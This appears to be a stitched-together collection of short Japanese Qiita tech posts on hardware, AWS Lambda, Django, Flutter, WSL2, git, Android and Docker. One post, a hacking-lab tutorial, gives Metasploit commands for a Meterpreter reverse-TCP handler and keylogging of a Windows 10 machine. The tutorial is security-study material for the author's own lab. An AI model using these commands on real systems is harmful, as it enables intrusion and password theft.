![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/332987/e29c970f-c528-e19c-1de8-c86f6c5c70fe.png)

# イベントブローカーとしてBPTを使う
Pub/Sub側共に同じ環境のOutSystemsアプリケーションであれば、この仕組を使って、イベントブローカーを実現することもできそう。

Choreography Sagaに使えないかと検討中。
MAKER NANO RP2040 をCircuit Pythonで試す

秋月電子さんで[MAKER NANO RP2040](https://akizukidenshi.com/catalog/g/gM-17242/)が販売されていたので購入してきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/2d933678-f6a3-4353-e82a-e5bb1acde934.png)

正直、ほぼ同じ価格でモータードライバも載っている[MAKER PI RP2040](https://qiita.com/ELIXIR/items/a00a8e0d9c9b9fcf1942)のほうがお得感があるのですが、あちらはロボット向けということもありGPIOが全部ピンではなくGROVEソケットで使いにくくもあったので、こちらも購入しみました。

外観は[Arduino Nano](https://akizukidenshi.com/catalog/g/gM-14848/) よりも一回り幅が広く、ブレッドボードに刺すといっぱいいいっぱいといった印象です。

![IMG_0981.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/76f18daa-df2f-7fea-8924-9414d0d320f5.jpeg)

今回は[MAKER PI RP2040と違い](https://qiita.com/ELIXIR/items/a00a8e0d9c9b9fcf1942)、2つあるGROVEポートがちゃんとI2Cとして使用できるピン配置になっているようです。
QTGrove互換ケーブルも２本付属しています。両側メスなので個人的には若干使いにくく感じたのですが、[M5系のセンサー](https://www.switch-science.com/catalog/6344/)等をつなぐにはちょうどよさそうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/9b9354a3-f037-06f7-2c22-0ef83c22e42f.png)

とりあえず、デフォルトでインストールされているCircuit Pythonを試してみました。
USBで接続するとドライブが見えるので

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/49cafe6c-cbbe-951b-533c-53ea415d4455.png)

中にあるcode.pyを適当なエディタで開き、書き換えてセーブすると即実行されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/1fccfbbd-d885-238f-5d8b-0f11ffe72c2b.png)

そして今回はちゃんとCOMポートにエラーを出力してくれます！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/0e10388c-c673-7a1d-4be6-f8aedfd5549d.png)

MAKER NANO RP2040では謎の16進数を表示するだけだったので、pythonはあきらめてArduinoとして使っていたのですが、今回はエラーも出るしprint()も使えるので、簡単なデバッグなら何とかなりそうです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/0bf8f036-570d-3f41-8707-7169bc572160.png)

ただし今のところI2Cが使えていません。詳しい方がいたら教えてください。

```
from busio import I2C
  :
i2c = I2C(board.GP26, board.GP27)
-----------------------------------
  File "code.py", line 30, in <module>
  ValueError: Invalid pins
```

そんなわけで、またArduinoで開発するかな…と思ったりしている所です。
AWS Lambda FunctionURLs触ってみる(JavaScript Hands-on)

## はじめに
２０２２年４月頃からAWS LambdaでHTTP通信が可能になった！！今まで、RESTAPIを作ろうとすると、API Gateway + Lambdaで作らなくてはいけなかった。しかし、サービスアップデートにより、Lambdaから直接叩けるようになった。（感動）。LambdaでAPIを作った事がある人ならば、何でAPIGateWayわざわざ用意しないとHTTP通信できないんだ？？っていうのは誰もが感じてた事。ようやく、その不満から解消することができるようになったようなので、今回触ってみることにした。

## 所感
めっちゃ簡単。GUIのぽちぽちで1分で関数が作れるのがいい感じ。FunctionURlsという機能をONにすることでHTTP通信ができるようになっているようだ。ただ、色々と縛りがあるので、用途に合わせて利用するのが良さそうだ。本番環境で利用するには時期尚早って感じかな。

https://twitter.com/kkfactory0705/status/1521328121672531968


### Hands-onスタート
![スクリーンショット 2022-05-03 12.21.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/599049/20ca089a-def6-363c-f7fe-728bf772e894.png)
![スクリーンショット 2022-05-03 12.21.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/599049/5d1a15b4-513e-d75c-d208-de96558f0585.png)
![スクリーンショット 2022-05-03 12.22.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/599049/c26bd53a-3bff-2877-ee48-993ebce6f5be.png)
→はい、完成！！！ではURLを叩いて実行してみましょう！！

![スクリーンショット 2022-05-03 12.22.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/599049/221dccc9-eeb5-53ff-19e3-8b552376df3b.png)
→はい、HTTP通信できました！！！超簡単。1分で関数が作れるのは嬉しいな！！！

### コラム: APIGateWay＋Lambdaのパターンは発生する？？
HTTP通信のためにAPIGatewayを利用していた。今回のアップデートでLambdaがHTTP通信対応するようになったが、API Gateway+Lambdaのパターンは発生するのか？その疑問に対して、いい感じの表があったので、添付しておく。[出典:ServerlessFramework](https://www.serverless.com/blog/aws-lambda-function-urls-with-serverless-framework)

![スクリーンショット 2022-05-03 12.40.34.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/599049/bb81b55d-67b9-0576-6a47-fa35995f2de3.png)

【考察】
・料金の順番はLambda(FunctionURL)＞API Gateway(HTTP)>API Gateway(REST)。やはり、API　Gatewayを利用しない分、当然のことながら安い。ただ、100万リクエストで3.5ドル程度なので、考慮に値しないほどの差しかない。
・ドメインのカスタムがFunctionURLではできない。これはなかなかネックかな。独自ドメインを付与できないとドメインの管理がなかなか面倒になる。
・Cachingが効かない。まぁ、当たり前か。
・CloudWatchのaccessログが出ない？？？ほんま？？？これはきついなぁ。。
・timeoutの制限が大幅増加(29秒→15分)。これ嬉しい？？そもそも1分超えるようなリクエストをHTTP通信でやることがアンチパターンだから、恩恵はほぼない気がする。
【超かんたん起動】RDPのショートカット作成方法

## ショートカットの作成

1. Remote Desktop Connection を起動し、[Show Options] をクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1927744/9e20831e-4706-63ec-efa4-1019b745bfdc.png)


2. [Computer] に デバイス名 or IPアドレス 、[User name]に ログインユーザー名 、[Allow me to save credentials]にチェックを入れて、[Save As]をクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1927744/b274c89f-e29a-fd8a-218d-3bb955b2af82.png)

3. rdp拡張子でどこかに保存して完了


# ショートカットからの起動

1. 前項で保存したrdpファイルを起動し、[Don't ask me again for connections to this computer] にチェックを入れて、[Connect]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1927744/2881a900-2984-a170-0041-09e2d9e30322.png)

2. [Password]に ログインパスワード を入力して、[Remember me] にチェックを入れ、[OK]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1927744/9907f3ce-10ce-b1b3-527d-4402e9de5dc5.png)



以降はrdpファイルを起動するだけでリモートデスクトップ接続できる



以上
Djangoのmodelを用いたレコード挿入で起きたエラー

## 概要
今回はDjangoを学習している際に詰まったエラーの備忘録を記載したいと思います。

## 環境
Django: '4.0.4'
Python: '3.10.4'

## 前提
まず前提として下記状況を想定しています。
* nameとageのカラムを持ったPersonテーブルにデータを挿入したい

```~/model_app/models.py
from django.db import models

class Person(models.Model):
  name = models.CharField(max_length=10)
  age = models.IntegerField()
```

## エラー概要
テーブルにデータを挿入するために下記ファイルにて処理を記載し実行しました。
```~/main.py
import os
from django import setup
from model_app.models import Person

# 環境変数をセット
os.environ.setdefault('DJANGO_SETTINGS_MODULE', '左記の環境変数の値')
setup()

sample_person = Person(name='tanaka', age=20)
sample_person.save()
```
上記ファイルを実行
```
python3 main.py
```

すると下記のエラーが出ました。
```
django.core.exceptions.ImproperlyConfigured:
Requested setting INSTALLED_APPS, but settings are not configured. 
You must either define the environment variable DJANGO_SETTINGS_MODULE or call settings.configure() before accessing settings.
```
エラー文を読むと`DJANGO_SETTINGS_MODULE`を設定するか、`setting.configure()`を呼び出せと言われています。
しかし。`DJANGO_SETTINGS_MODULE`は定義しているのになぜか。
## 解決法
いろいろ調べてみたところどうやら処理の記載する順番が異なるせいでエラーが起こっているらしい。
下記記事を参考に処理の順番を変えてみました。

https://stdworkflow.com/38/daphne-django-core-exceptions-improperlyconfigured-requested-setting-installed-apps-but-settings

修正した内容が下記です。
```~/main.py
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE', '左記の環境変数の値')

from django import setup
setup()

from model_app.models import Person

sample_person = Person(name='tanaka', age=20)
sample_person.save()
```
これでテーブルにデータを挿入することができました。
importの記載をファイル上部にまとめて記載すればいいわけではないみたいですね。
GodotでアプリのVersionを取得する

## 概要
アプリのVersionとかBuild番号とかを画面に出したいことがあると思います。
方法としては３つあります。

1. Godotの設定ファイルから取得する
2. プログラムで番号を定義してそれを表示する
3. 各プラットフォーム（iOS, Androidなど）のネイティブから取得する

順番に説明していきます

## Godotの設定ファイルから取得する
バージョン番号はExportの設定に記載していると思います。
![Screen Shot 2022-05-03 at 11.44.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/24532/4576199a-acca-3d80-9540-7000f6395e39.png)
この設定はプロジェクト直下にあるexport_presets.cfgというファイルに記述されています。

iOSのversionを取る例です
```gdscript
	var export_config: ConfigFile = ConfigFile.new()
	var err = export_config.load("res://export_presets.cfg")
	if err == OK:
		print(export_config.get_value("preset.0.options", 'application/short_version'))
		print(export_config.get_value("preset.0.options", 'application/version'))
```
※preset.0.optionsの番号の箇所は環境により異なります。exportの設定がある分だけ数字が増えます。2つexportの設定がある場合は0, 1がある

### これの欠点
人によっては、XcodeやAndroid Studioを直接編集して番号を変えたりしているかもしれません。その場合は使えない方法です
※自分の場合もこれで、Export Projectをするのは最初の一回だけであとはpckだけをExportしてます。

参考
https://godotengine.org/qa/71010/read-exported-version-code-from-gdscript?show=71010#q71010

## プログラムで番号を定義してそれを表示する
これは説明するまでもないですが、定数をどっかに定義してそれを参照するようにします。

### これの欠点
Versionあげるときに忘れないようにする必要があります

## 各プラットフォーム（iOS, Androidなど）のネイティブから取得する
調べた感じ、標準ではGodotのプログラムから取得する方法はありませんでした。やるとしたら、プラットフォーム毎のプラグインを作ってそれを呼び出す形にする必要があります
それをやるプラグインはちょっと見当たらなかったですね

### これの欠点
プラグインでやる必要があるので面倒
		
## 結論
1の方法は先にも書きましたが、exportの設定でVersionを管理してないので、自分の場合はこの方法は使えなかったです
3はプラグイン作ろうかなと思ったのですが、よく考えるとiOSとAndroidのバージョンが異なる場合というのはあまりないケースな気がしました。
なので2のプログラムに定義するのが楽だしこれでいいやという結論になりました。番号あげるのを忘れないようにするのは、ブランチ切って次のVersion開発するときにまず初めに番号を変えるというルール（クセ）をつけるという感じにしました
it人、非it人を橋渡ししてくれる、双方を理解できる"翻訳者"がいるべき

(はじめに)
it人、非it人という書き方は人によっては不快な思いをすることと思います。
it技術に普段から触れており、また興味関心をもって情報を取得していこうという人と、
普段の生活では触れていない、という2タイプをなるべく短い単語で説明したく、本記事では
この単語を使いました。
自分も学生の頃(22歳頃)excelのSUM関数も理解できず、it技術にもまったく興味関心がなく、純文学ばかり読んでいた、非it人だったため、否定する気もまったくありませんし、この世の中にit以外の貴重なものがたくさんあることも理解しているつもりです。
ただ日常生活にここまでitの波が押し寄せている現実を前に記事を書きたいと思った次第です。
サイバー攻撃により億単位の損害が自分の国に起きていると新聞などで目にするたびにとても歯痒く、ゆるせない気持ちになるのです。
そういった経緯で記載しております。よろしくお願い致します。

**
今は誰もがスマートフォンを所持する時代になった、
それは同時にitについての理解を深めることが大切なことは当然となった。
自分の身を守るためや相手を傷つけないためにも、より自分の生活を便利にするためにも。

またどの業種でもサービスでもit化を進めることは大切であると認識されてきた。
それはつまり、it人、非it人がコミュニケーションをしなくてはならないということである。

例えば、自社のサービスをitに置き換えるとした際に、開発会社に依頼するとする。
そのときに非it人がit人に全部お任せでお願いします、といった際に損をするのは非it人となる。
何故なら技術的な難易度や工数を理解できない為に言い値で依頼することしかできなくなってしまい、
結果として自分の首を絞めることになってしまうからです。
情報の非対称がモロに爆発していることになります。
つまり、まとめるとit技術には誰しもが自分のものとして
その道を通っていかないとならないということだと思います。



日常生活とitの関係性について、これからも追記していきたいと思います。
今回はここまでにします。
またこの記事は追加編集して拡げていきたいと思います。
【Flutter】AppBarのleadingプロパティの幅を変更する

# はじめに
FlutterのAppBarに画像を使ってロゴを設定したかったのですが画像が思ったサイズにならなかったので、原因と解決策をまとめます

# 原因

[公式ドキュメント](https://api.flutter.dev/flutter/material/AppBar/leading.html)を参照すると
>The leading widget's width and height are constrained to be no bigger than leadingWidth and toolbarHeight respectively.

「**leadingプロパティに設定するWidgetはleadingWidthとtoolbarHeightより大きくならないように制限されている**」

上記のように書かれていたため、デフォルトの**leadingWidth**か**toolbarHeight**を大きくすることがキーポイントになるようです

## 解決する前
この状態ではデフォルトの**leadingWidthが56.0**であるため
画像の幅を56.0以上大きくしても反映されません
```logo.dart
return Scaffold(
      appBar: AppBar(
          leading: IconButton(
            icon: Image.asset(
              'images/logo.png',
              width: 100,
        ),
        onPressed: () {
          Navigator.pushNamed(context, 'initial_page');
        },
      )),
    );
```


## 解決した後
私の場合はロゴが横長でしたので、leadingWidthプロパティを400(ロゴの幅より大きい数字)に設定するだけでOKでした
```logo.dart
return Scaffold(
      appBar: AppBar(
          leadingWidth: 400,
          leading: IconButton(
            icon: Image.asset(
              'images/logo.png',
              width: 100,
            ),
            onPressed: () {
              Navigator.pushNamed(context, 'initial_page');
            },
          )),
    );
```
Windows11 + WSL2 でUSBデバイスを認識させる

# 概要

WSL2で動作しているUbuntu20.04でwindowsで認識したUSBデバイスを使えるようにする。

[参考](https://docs.microsoft.com/ja-jp/windows/wsl/connect-usb)

# 前提

* Windows 11 (ビルド 22000 以降) 
* x64/x86 プロセッサ（Intel or AMD）
* WSL 2
* Linux カーネル 5.10.60.1 以上が実行されている

## 手順

### 認識させたいディストリが既定に設定されてることを確認する。

```powershell
> wsl --list
Linux 用 Windows サブシステム ディストリビューション:
Ubuntu-20.04 (既定)
Ubuntu-18.04
docker-desktop-data
docker-desktop
```

既定になってない場合は、既定に設定する。

```powershell
> wsl --set-default <ディストリID>
```

### usbipdをインストール

[公式リポジトリ](https://github.com/dorssel/usbipd-win/releases) からmsiをダウンロードしてインストール。

### windowsホストでバスIDを調べてWSL2にアタッチする

powershellを管理者権限で実行して以下を実行

```powershell
> usbipd wsl list
BUSID  VID:PID    DEVICE                                                        STATE
2-6    045e:0990  Surface Camera Front, Surface IR Camera Front                 Not attached
2-14   0411:023a  USB 大容量記憶装置                                             Not attached
```

バスIDを指定してデバイスをアタッチ

```powershell
> usbipd wsl attach --busid 2-14
```

USBデバイスを取り外したい場合はでタッチを実行する

```powershell
> usbipd wsl detach --busid 2-14
```

### (option)カーネルをリビルドする

デフォルトだとUSBメディアがブロックデバイスとして認識されないので、オプションを追加してカーネルをリビルドする必要がある。

以下の手順をWSL2のUbuntuで実行する。

依存パッケージをインストール

```bash
$ sudo apt install -y \
    build-essential \
    git \
    flex \
    bison \
    libssl-dev \
    libelf-dev \
    pkg-config \
    libncurses-dev \
    dwarves
```

カーネルのソースをクローン

```bash
$ git clone https://github.com/microsoft/WSL2-Linux-Kernel.git
$ cd WSL2-Linux-Kernel/
$ cp ./Microsoft/config-wsl .config
$ make menuconfig
```

コンソールで設定メニューが開くので、

`Device Drivers` -> `USB support` -> `USB Mass Storage support`

の順番で項目を探して、USB Mass Storage supportにチェックを入れる（スペースキーでチェック）
チェックを入れたらSaveしてExit

設定を変更出来たらビルドする

```bash
$ make -j $(nproc)
```

ビルドした `vmlinux` をWindowsホストにコピーする

```bash
$ sudo mkdir -p /mnt/c/wslkernel
$ sudo cp ./vmlinux /mnt/c/wslkernel/
```

ホストPCのユーザ直下に `.wslconfig` を作成して先ほど作成したカーネルを指定する

```.wslconfig
[wsl2]
kernel=C:\\wslkernel\\vmlinux
```

WSL2をシャットダウン

```powershell
> wsl --shutdown
```

ビルドしたカーネルドライバをインストール

```bash
$ sudo insmod ./drivers/usb/storage/usb-storage.ko
```

powershellからデバイスをアタッチするとUSBメディアが認識されるようになる。
以下の例だとsdfが対象のデバイス

```bash
$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
loop0    7:0    0 331.6M  1 loop /mnt/wsl/docker-desktop/cli-tools
loop1    7:1    0 302.9M  1 loop
sda      8:0    0   256G  0 disk
sdb      8:16   0 339.8M  1 disk
sdc      8:32   0   256G  0 disk /
sdd      8:48   0   256G  0 disk /mnt/wsl/docker-desktop/docker-desktop-proxy
sde      8:64   0   256G  0 disk /mnt/wsl/docker-desktop-data/isocache
sdf      8:80   1  14.8G  0 disk
├─sdf1   8:81   1   499M  0 part
└─sdf2   8:82   1  14.3G  0 part
```
完成したアプリの設計書みたいな0→1(無から有)の本が"ない"問題

どの言語でもそうだと思うが、
わりとそこそこ広い本屋に行っても、ググってみても
アイデア出し→モックアップ→用件定義→コーディング→検証
までを一貫して解説している技術指南書が見当たらない。

0から1の技術書が逆算的に
「これが完成品です」
→その流れをひとつずつ分解するとこうなって、こうなって、こうなります。
といったノリの本が無いな-と思う。

文字だけではなかなか理解が進まないため、もっとイラストや画面スクショ多量の
本があればいいなと思う。
自分もアプリが作れるようになったら、全力で一貫した記事を上げたいと思うが。(完成度が甘くても)


プログラミングは覚えることが多い上、
まだ日本ではプログラミング人口自体が少ないのかなと思う。
義務教育に取りいれようなんて言い出したのも、本当にここ直近の話だし、
多数派が開発の話を趣味でする、なんて未来にはまだ程遠いように思う。
(プログラマー自体の会社員の給料を調べてみても、その他の業種とほとんど同じだし、不思議におもうこともある、国の産業としてitの分野の重要性がまだ浸透していない、ということだと思う。元手も固定費も安価ですごくいい商売なのではと、思うが。)

義務教育に関しては、
教員がどのように対応するのか。または現場のプログラマーなどが派遣されるのか。その辺もすごく気になる。プロに教えてもらえるなら、すごく羨ましい、なんておもうけど。
しかし現場のプログラマーが学校に赴くとすると会社の仕事とどう両立するのか、といった問題もあるだろうし、どうなるのだろう注目中。

年齢拘らず、itリテラシーの問題も騒がれているし、もっと全体がitに踏み込んだ方がいいのだと思う、いつ加害者、被害者になるかわからないわけだし。


サッカー人口が増えれば、自ずとサッカーのレベルも高くなる、という現象と同じで、開発者が増えることは国にとっても、とてもいいことなのでは、と思う。そういえば自分の知人でプログラマーはほんとうにすくない。

あと、すごく思うのが地元の習字教室的な、ピアノ教室的な、ギター教室的なノリで、プログラミング教室があったらいいのに、って本当に思う。月10000円くらいで。
個人的に教室なんて汚くていい、
電源とテーブルと椅子と安全なwifi環境があれば、それで豊かである。公民館の貸し教室で十分、最高。
正直スクールは高すぎて、全然手軽にまなべない、今はyoutubeが増えてきてとても嬉しいけど。

地元のこどもから、大人まで土曜日の午前中にふらっとお茶飲みながら
遊びにいく、勉強しにいく、みたいな感じのコミュニティがあったらいい。




＊＊＊まとめ
初心者のそばに”いい本”が、”いい資料”が湯水のごとく、
誰でも手に入るところにころがっている、
という環境をつくる一人になれたらいいな、なんて思っている、
自分自身がまだレベルアップ中の身であり、だからこそわからない人たちの気持ちも凄くわかるので、これをチャンスとして、活かせればと思う。
Gitのrebaseに関して

・Gitのrebaseに関して
rebase
=>変更履歴を綺麗に修正(分岐していたコミットを1つにまとめて統合)

●コマンド
git rebase ブランチ名
例)
```
git rebase master
=>現在作業しているブランチの親コミットをmasterブランチに変更・修正
```

●リベースの流れ
①リベース
②リベースした親ブランチに移動
③親ブランチをリベースしたブランチとマージ(Fast Foward)
例)featureブランチをmasterブランチにリベースする場合
```
git switch feature
git rebase master
git switch master
git merge feature
```

●注意点
GitHubにプッシュしたコミットをリベースしてはいけない。
これを行ってしまうと、ローカルデータとGitHubデータ間の親コミットが異なるものとなってしまい、push出来なくなる。
Android トグルスイッチの実装（java）

# はじめに
こんばんわ、Hideです。
javaに関する記事を投稿しています。

今回はAndroid Studioでトグルスイッチを実装する方法を書いていきます。

# トグルスイッチとは
ユーザが2つの状態(On/Off)を交互に切り替えることのできるUIです。
![toggle_switch.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2652946/2e45166e-17eb-9467-064f-5847636c3bff.png)

# レイアウトの作成
まず、トグルスイッチのレイアウトを作成する
(※スイッチの初期値をONに設定している)
```/res/layout/activity.xml
<Switch
    android:id="@+id/toggle_switch"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:checked="true"
    android:textColor="#3e3e3e"
    android:text="toggle switch button"/>
```

# CompoundButton を利用してイベントを取得
CompoundButton とは public abstract class CompoundButton extends Button implements Checkable とドキュメントに書いていました。

詳しくはこちらをお読みください→　[CompoundButton | Android Developers](https://developer.android.com/reference/android/widget/CompoundButton)

CheckBox, RadioButton, Switch, SwitchCompat, ToggleButton などのイベントは CompoundButton で取得できるみたいです。

また、OFF/ON のステートを持ったボタンの共通機能を具備した抽象クラスです。抽象クラスなのでこれ自体をそのまま部品として使うことはできません。

```MainActivity.java
@Override 
protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_to_do_edit);

        //スイッチのインスタンスを作成
        Switch toggleSwitch = findViewById(R.id.toggle_switch);
        toggleSwitch.setOnCheckedChangeListener(new onCheckedChageListener());
}

// トグルスイッチをON/OFFのボタンを押した時に処理するクラス。
public class onCheckedChageListener implements CompoundButton.OnCheckedChangeListener{
        @Override
        public void onCheckedChanged(CompoundButton buttonView, boolean isChecked){
            if(isChecked){
                Log.d("MainActivity", "ON");
            }else{
                Log.d("MainActivity", "OFF");
            }
        }
    }
```

# ログ
```
03-20 09:12:09.969 4390-4390/com.example.hoge.aswitch D/MainActivity: OFF
03-20 09:12:11.055 4390-4390/com.example.hoge.aswitch D/MainActivity: ON
03-20 09:12:15.639 4390-4390/com.example.hoge.aswitch D/MainActivity: OFF
03-20 09:12:16.413 4390-4390/com.example.hoge.aswitch D/MainActivity: ON
```

# 最後に
今回は私自身が理解しやすかった書き方を記述したので関数を2つ使ってトグルスイッチを実装しましたが、1つでも実装することは可能ですのでコード数を削減したいかたや1つの方が見やすいと感じるかたは以下の資料を参考にしてください。

[https://qiita.com/nein37/items/850824d2b35663111ddb](https://qiita.com/nein37/items/850824d2b35663111ddb)
[http://developer.android.com/guide/topics/ui/controls/togglebutton.html](http://developer.android.com/guide/topics/ui/controls/togglebutton.html)

最後まで読んでいただきありがとうございました。
Dockerでsshdを動かしてIntelliJのリモート開発を使ってみる

# 概要
最近の開発ではローカル環境にDockerで複数サーバーを立てることもよくあると思います。
しかしWindows環境ではWindowsファイルシステム上に配置したファイルの変更をコンテナ側にいい感じに反映させることができません。
いい感じに反映させるにはLinuxファイルシステム上にファイルを配置する必要があります。
[参考](https://docs.docker.com/desktop/windows/wsl/#best-practices)

以前投稿した [こちらの記事](https://qiita.com/skta/items/52a961ff022ff2758e11) ではWSL側にIntelliJをインストールしXWindowSystemを使って利用する方法を試しました。

今回は最近？使えるようになったIntelliJの[リモート開発機能](https://www.jetbrains.com/remote-development/)を使って同じ目的を達成しようと思います。

# 前提
ホストOS：Windows 11 Pro（21H2）
Docker Desktop：4.7.1
2022年5月時点での情報です。

サンプルなどはセキュリティ面の考慮が漏れている可能性があるので使用する場合には自己責任でお願いします。

# 方法
IntelliJのリモート開発機能で一番簡単そうなSSHで接続する機能を使います。
（むしろ他の機能は何なのかよくわかってない）
sshdを起動させるためのDockerイメージを作ってローカルで立ち上げます。

wsl上でsshdを動かす方法もあると思いますがsystemdを起動できるようにしたりいろいろと面倒くさそうなので諦めました。

# Dockerイメージのサンプル
まずサンプルのリポジトリは[こちら](https://github.com/skta3569/ubuntu22.04-sshd)です。
ビルドしたイメージは公開してあるのでよろしければどうぞ。
```bash
docker pull skta3569/ubuntu22.04-sshd:latest
```

イメージの機能を箇条書きするとこのような感じです。
- 起動時にsshdを立ち上げる
    - ユーザー名：remote
    - ホームディレクトリ：/remote
    - 鍵認証でログインする想定
- コンテナ上の「/host_keys」ディレクトリに配置されたファイルを「/remote/.ssh」にコピーする
    - キーが入っているディレクトリを「/host_keys」にマウントして使う想定
    - ホスト→コンテナのssh接続用（authorized_keys）
    - コンテナ→gitの認証用（id_* をコピーする）
- 日本語化済み＆gitインストール済み

# 手順
### ①鍵を作る
```bash
ssh-keygen -t ed25519 -c ''
```
### ②コンテナを起動する
2つのディレクトリにマウントします。
「/remote」はホームディレクトリでIDEの各種ファイルが保存されるため、任意の名前のボリュームをマウントします。
「/host_keys」は認証用の鍵ファイルをコンテナに連携するためのディレクトリです。

```bash
docker run --rm -d -v home:/remote -v ＊①で作成した鍵を置いたフォルダ＊:/host_keys -p 22:22/tcp ubuntu22.04-sshd:latest
```

### ③リモート開発機能でアクセスする
「New Connection」を押す
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114225/ac651621-f0d8-1ca4-26dc-3d9f0450160b.png)

歯車マークで新しいSSH接続の設定を作成
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114225/be23a853-1c8f-3dcd-647f-648d180f6a60.png)

ユーザー名は「remote」
鍵認証方式を使います
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114225/88d66ec6-117f-4d79-8edf-5058c4f89871.png)

SSHの設定ができたら次へ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114225/f8840a0b-a1ab-ac07-13ed-54e1165f5139.png)

「IDE version」は使用するIDEの種類を選びます（IntelliJ以外も選べる）
「Project directory」を選ぶ前に「open an SSH terminal」を押します。
現状のリモート開発機能だとIDEからプロジェクトの新規作成が行えないためターミナルを使ってプロジェクトディレクトリを準備する必要があります。
必要に応じてgitからチェックアウトするなり、ディレクトリの作成なりを行ってください。
プロジェクトディレクトリの選択が終わったら「Download and Start IDE」をクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114225/add3dd95-fb04-3123-6cc1-0ae8f60f9494.png)

あとは必要なファイルのダウンロードが終わったらIDEの画面が開きます。
Java系のプロジェクトであれば「Project Structure」からSDKの設定が必要です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114225/b3adcd8e-b368-e984-d45c-6c9ce406cfeb.png)

# おわり
以上でIntelliJのリモート開発機能を動かすところまでは完了です。
少し触ってみた感じUI面の機能が少し動かなかったりしますが、なかなかいい感じだと思います。

あとは「②コンテナを起動する」で指定したボリュームを他のコンテナと共有すれば、別コンテナで立ち上げたサーバーでもホットリロードがいい感じに動きます。
Kali Linux2022.1 でハッキングラボをつくってみる 6　Windows10をハッキングする9 キーロガーを利用する

# はじめに
今回は、Metasploitの簡易的なキーロガーを利用する。
キーロガーの悪用によって、パスワードを奪取することが可能になる。
この記事は、「ハッキング・ラボのつくりかた」(IPUSIRON著)のP.359-363を参考にしている。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# Meterpreterプロンプトのキーロガーコマンド
キーロギングする前に、meterpreterセッションを確立をしておく。
```:msf >
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.100
show options
exploit
```
セッションが確立したら、キーロガーのコマンドを実行する。
- キーロギングを開始
```:meterpreter >
keyscan_start
```
- キーログを表示
```:meterpreter >
keyscan_dump
```

**メモ帳のテキストを削除した後、話題になっているYoutuberの名前を入力した結果**
![VirtualBox_kali-linux-2022.1ガーシー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/23e6fcec-339e-4ade-0ee2-4aa492fe005c.png)

同書には、
> キーログには、英数字のキーだけではなく、ShiftやCtrl、Enterの入力も記録されます。（中略) 改行は「\<CR>」、バックスペースは「\<^H>」となります。バックスペースや全角入力を考慮しながらキーログを解析しなければなりません。
他、Deleteキーは「\<Delete>」、半角/全角キーは「\<半角/全角>」、矢印キーは「\<Up>\<Down>\<Left>\<Right>」となる。

とある。
「?」「}」「A」のような、Shiftキーを押下しながら、他のキーを押下して入力する文字や記号のキーログは次のように表示された。
![VirtualBox_kali-linux-2022.1キーログ１.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/57082d47-3eab-be0b-4e7e-647489292ba2.png)
キーログの解析には、上記のことに留意しなければならない。

- キーロギングを停止

```:meterpreter >
keyscan_stop
```

# Metasploitのkeylog_recorderモジュール
Metasploitのモジュール"post/windows/capture/keylog_recorder"を利用することでも、キーロギングが可能である。
```:msf >
sessions
//表示されるセッションのセッションIDを確認
use post/windows/capture/keylog_recorder
set session <session_id>
show options
run
```
オプションの内容を確認しておく。特に、変更する点はない。`run`でキーロギングを実行する。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_03_05_2022_10_44_02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/39b79716-8fe2-a980-0d70-832cd6065a7b.png)
キーログは"/home/kali/.msf4/loot"のディレクトリに保存される。
キーロギングはCtrl+Cを押下して終了。

# 終わりに
今回で、Windows10のハッキングは終了です。
次回からは、Metasploitableを使ってLinuxサーバーへのハッキングを試していきたいと思います。
bqのdecimal(numeric)リテラルの書き方

# この記事の存在意義
いつも忘れて調べるものの意外にSEOが弱い(私のググり力の問題？)らしく、なかなかズバリの情報に行けないので自分用メモです。

# 本題のdecimal(numeric)リテラルの書き方
以下のように、文字列リテラルの中に小数を書いて、その前に `numeric` をつければOK
※以下本家の例をもろパクリです。
```sql
SELECT NUMERIC '0';
SELECT NUMERIC '123456';
SELECT NUMERIC '-3.14';
SELECT NUMERIC '-0.54321';
SELECT NUMERIC '1.23456e05';
